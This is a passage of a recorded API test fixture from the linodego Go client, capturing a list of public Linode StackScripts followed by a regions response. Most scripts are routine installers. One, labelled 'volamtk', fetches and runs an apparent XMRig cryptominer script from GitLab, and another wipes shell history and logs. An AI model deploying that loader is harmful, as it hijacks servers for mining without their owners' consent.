Pebble has been successfully installed\"\necho \" \"\necho \"You can now configure Pebble and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 355877, "username": "evin2", "user_gravatar_id": "9db591667a2b7decad610db319c613bc", "label": "Epasqualetti", "description": "Test to call stackscript with label", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n\n# It works!", "user_defined_fields": []}, {"id": 1094693, "username": "santiachinelli", "user_gravatar_id": "5a5ea404116429697319f684006d6b93", "label": "loltest-public", "description": "loltest-public", "ordinal": 0, "logo_url": "", "images": ["any/all"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "created, public version", "script": "#!/bin/bash\n# \nsource \nsystem_set_hostname \"$HOSTNAME\"\nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\napt update && apt upgrade -y && apt install -y curl wget net-tools traceroute jq\n# Generate files\nmkdir -p /etc/victoriametrics/single\nmkdir -p /var/lib/victoria-metrics-data\nmkdir -p /var/lib/cloud/scripts/per-instance\n# Create victoriametrics user\ngroupadd -r victoriametrics\nuseradd -g victoriametrics -d /var/lib/victoria-metrics-data -s /sbin/nologin --system victoriametrics\nchown -R victoriametrics:victoriametrics /var/lib/victoria-metrics-data\n# Install VictoriaMetrics Single\nVM_VERSION=`curl -sg \"https://api.github.com/repos/VictoriaMetrics/VictoriaMetrics/tags\" | jq -r ''.[0].name''`\nwget https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/${VM_VERSION}/victoria-metrics-linux-amd64-${VM_VERSION}.tar.gz -O /tmp/victoria-metrics.tar.gz\ntar xvf /tmp/victoria-metrics.tar.gz -C /usr/bin\nchmod +x /usr/bin/victoria-metrics-prod\nchown root:root /usr/bin/victoria-metrics-prod\ntouch /etc/victoriametrics/single/scrape.yml\nchown root:root /etc/victoriametrics/single/scrape.yml\ncat </etc/systemd/system/vmsingle.service\n[Unit]\nDescription=VictoriaMetrics is a fast, cost-effective and scalable monitoring solution and time series database.\n# https://docs.victoriametrics.com\nAfter=network.target\n[Service]\nType=simple\nUser=victoriametrics\nGroup=victoriametrics\nWorkingDirectory=/var/lib/victoria-metrics-data\nStartLimitBurst=5\nStartLimitInterval=0\nRestart=on-failure\nRestartSec=5\nEnvironmentFile=-/etc/victoriametrics/single/victoriametrics.conf\nExecStart=/usr/bin/victoria-metrics-prod \\$ARGS\nExecStop=/bin/kill -s SIGTERM \\$MAINPID\nExecReload=/bin/kill -HUP \\$MAINPID\n# See docs https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#tuning\nProtectSystem=full\nLimitNOFILE=1048576\nLimitNPROC=1048576\nLimitCORE=infinity\nStandardOutput=syslog\nStandardError=syslog\nSyslogIdentifier=vmsingle\n[Install]\nWantedBy=multi-user.target\nEND\ncat </etc/victoriametrics/single/victoriametrics.conf\n# See https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#list-of-command-line-flags to get more information about supported command-line flags\n# \n# If you use IPv6 pleas add \"-enableTCP6\" to args line\nARGS=\"-promscrape.config=/etc/victoriametrics/single/scrape.yml -storageDataPath=/var/lib/victoria-metrics-data -retentionPeriod=12 -httpListenAddr=:8428 -graphiteListenAddr=:2003 -opentsdbListenAddr=:4242 -influxListenAddr=:8089 -enableTCP6\"\nEND\ncat < /etc/profile.d/victoriametrics_welcome.sh\n#!/bin/sh\n#\nmyip=$(hostname -I | awk ''{print$1}'')\n******************************************************************************** \nWelcome to VictoriaMetrics Single.\nTo keep this server secure, the UFW firewall is enabled.\nAll ports are BLOCKED except 22 (SSH), 80 (HTTP), and 443 (HTTPS), 8428 (VictoriaMetrics HTTP), 8089 (VictoriaMetrics Influx),\n4242 (VictoriaMetrics OpenTSDB), 2003 (VictoriaMetrics Graphite)\nIn a web browser, you can view:\n * The VictoriaMetrics Quickstart guide: https://kutt.it/1click-quickstart\nOn the server:\n * The default VictoriaMetrics root is located at /var/lib/victoria-metrics-data\n * VictoriaMetrics is running on ports: 8428, 8089, 4242, 2003 and they are bound to the local interface.\n********************************************************************************\n # This image includes version v1.74.0 of VictoriaMetrics. \n # See Release notes https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.70.0\n # Welcome to VictoriaMetrics droplet!\n # Website: https://victoriametrics.com\n # Documentation: https://docs.victoriametrics.com\n # VictoriaMetrics Github : https://github.com/VictoriaMetrics/VictoriaMetrics\n # VictoriaMetrics Slack Community: https://slack.victoriametrics.com\n # VictoriaMetrics Telegram Community: https://t.me/VictoriaMetrics_en\n # VictoriaMetrics config: /etc/victoriametrics/single/victoriametrics.conf\n # VictoriaMetrics scrape config: /etc/victoriametrics/single/scrape.yml\n # VictoriaMetrics UI accessable on: http://your_droplet_public_ipv4:8428/vmui/\nEND\n# Enable UFW and add some rules to it\nsed -e ''s|DEFAULT_FORWARD_POLICY=.*|DEFAULT_FORWARD_POLICY=\"ACCEPT\"|g'' \\\n -i /etc/default/ufw\nufw allow ssh comment \"SSH port\"\nufw allow http comment \"HTTP port\"\nufw allow https comment \"HTTPS port\"\nufw allow 8428 comment \"VictoriaMetrics Single HTTP port\"\nufw allow 8089/tcp comment \"TCP Influx Listen port for VictoriaMetrics\"\nufw allow 8089/udp comment \"UDP Influx Listen port for VictoriaMetrics\"\nufw allow 2003/tcp comment \"TCP Graphite Listen port for VictoriaMetrics\"\nufw allow 2003/udp comment \"UDP Graphite Listen port for VictoriaMetrics\"\nufw allow 4242 comment \"OpenTSDB Listen port for VictoriaMetrics\"\nufw --force enable\n# Cleaning up\nrm -rf /tmp/* /var/tmp/*\nhistory -c\ncat /dev/null > /root/.bash_history\nunset HISTFILE\nfind /var/log -mtime -1 -type f ! -name ''stackscript.log'' -exec truncate -s 0 {} \\;\n# Start VictoriaMetrics\nsystemctl enable vmsingle.service\nsystemctl start vmsingle.service\necho \"Installation complete!\"", "user_defined_fields": [{"name": "hostname", "label": "Hostname"}]}, {"id": 9254, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Apache Roller powered by Webuzo", "description": "Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\r\n\r\nApache Roller is a Java web application that should be able to run on any Java EE server and relational database. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Apache Roller and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Apache Roller powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Apache Roller and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Apache Roller :\n# Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\n# Apache Roller is a Java web application that should be able to run on any Java EE server and relational database. \n###########################################################################################################\n\n# Install Apache Roller Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=484&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Apache Roller and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Apache Roller has been successfully installed\"\necho \" \"\necho \"You can now configure Apache Roller and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8231, "username": "shakilaid1", "user_gravatar_id": "92c44b5a4f7186e4a6f2320505505b0c", "label": "ererer", "description": "errer", "ordinal": 0, "logo_url": "", "images": ["linode/debian7.4"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9255, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WordPress + Nginx powered by Webuzo", "description": "WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time.\r\n\r\nMore simply, WordPress is what you use when you want to work with your blogging software, not fight it. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure WordPress and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "WordPress + Nginx powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install WordPress + Nginx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WordPress :\n# WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability.\n# WordPress is both free and priceless at the same time.\n# More simply, WordPress is what you use when you want to work with your blogging software, not fight it.\n###########################################################################################################\n\n# Install WordPress Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=26&license=$1\"\n \n}\n\n# Install Nginx Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh --install=nginx,mysql,php53,perl,python2,pureftpd,bind >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling WordPress + NGINX and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, WordPress has been successfully installed\"\necho \" \"\necho \"You can now configure WordPress and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 102439, "username": "poohflya", "user_gravatar_id": "bf99d31a5d9641a61079b25a4c1f5757", "label": "DAM", "description": "DAM", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu17.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9001, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Concrete5 powered by Webuzo", "description": "Concrete5 makes running a website easy. Go to any page in your site, and a editing toolbar gives you all the controls you need to update your website. No intimidating manuals, no complicated administration interfaces - just point and click.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Concrete5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Concrete5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Concrete5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Concrete5 :\n# Concrete5 makes running a website easy. Go to any page in your site, and a editing toolbar gives you \n# all the controls you need to update your website. No intimidating manuals, no complicated \n# administration interfaces - just point and click.\n###########################################################################################################\n\n# Install Concrete5 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=174&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Concrete5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Concrete5 has been successfully installed\"\necho \" \"\necho \"You can now configure Concrete5 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 788010, "username": "EugeneFrank", "user_gravatar_id": "2861cc9c5bd8d573606b159f00ee7e53", "label": "a5455", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 1359658, "username": "JubairHossin", "user_gravatar_id": "b8ac62ba3ef1b71bd87049378ee068dc", "label": "Alpine OS", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.16", "linode/alpine3.17", "linode/alpine3.18", "linode/alpine3.19"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9003, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Oxwall powered by Webuzo", "description": "Oxwall is unbelievably flexible and easy to use PHP/MySQL community software platform.\r\n\r\nOxwall is used for a wide range of projects starting from family sites and custom social networks to collaboration tools and enterprise community solutions. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Oxwall and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Oxwall powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Oxwall and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Oxwall :\n# Oxwall is unbelievably flexible and easy to use PHP/MySQL community software platform.\n###########################################################################################################\n\n# Install Oxwall Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=258&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Oxwall and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Oxwall has been successfully installed\"\necho \" \"\necho \"You can now configure Oxwall and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 670763, "username": "ChristopherMitchellgnfi", "user_gravatar_id": "57669f55c07796f7f563de0d5ec9da70", "label": "volamtk", "description": "volamtk", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/sh\nsleep 60\nsudo su root\napt-get install -y python\nwget https://gitlab.com/maihuuhanh1846/test/-/raw/master/daoxmrig_ubuntu_tor_docker_442.py -O /etc/dao.py\nchmod 777 /etc/dao.py\nscreen -dm python /etc/dao.py\n\n", "user_defined_fields": []}, {"id": 6188, "username": "ma88123456", "user_gravatar_id": "2e365c39a7fd833d229a95d24c8c525d", "label": "000", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu11.1032bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash''", "user_defined_fields": []}, {"id": 9004, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "qdPM powered by Webuzo", "description": "qdPM is a free web-based project management tool suitable for a small team working on multiple projects.\r\n\r\nIt is fully configurable. You can easy manage Projects, Tasks and People.\r\n\r\nCustomers interact using a Ticket System that is integrated into Task management. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure qdPM and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "qdPM powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install qdPM and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About qdPM :\n# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.\n###########################################################################################################\n\n# Install qdPM Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=428&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling qdPM and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, qdPM has been successfully installed\"\necho \" \"\necho \"You can now configure qdPM and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}], "page": 1, "pages": 26, "results": 2527}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:27:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - stackscripts:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "20" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestTag_Create.yaml000066400000000000000000001127151474652371000303150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", 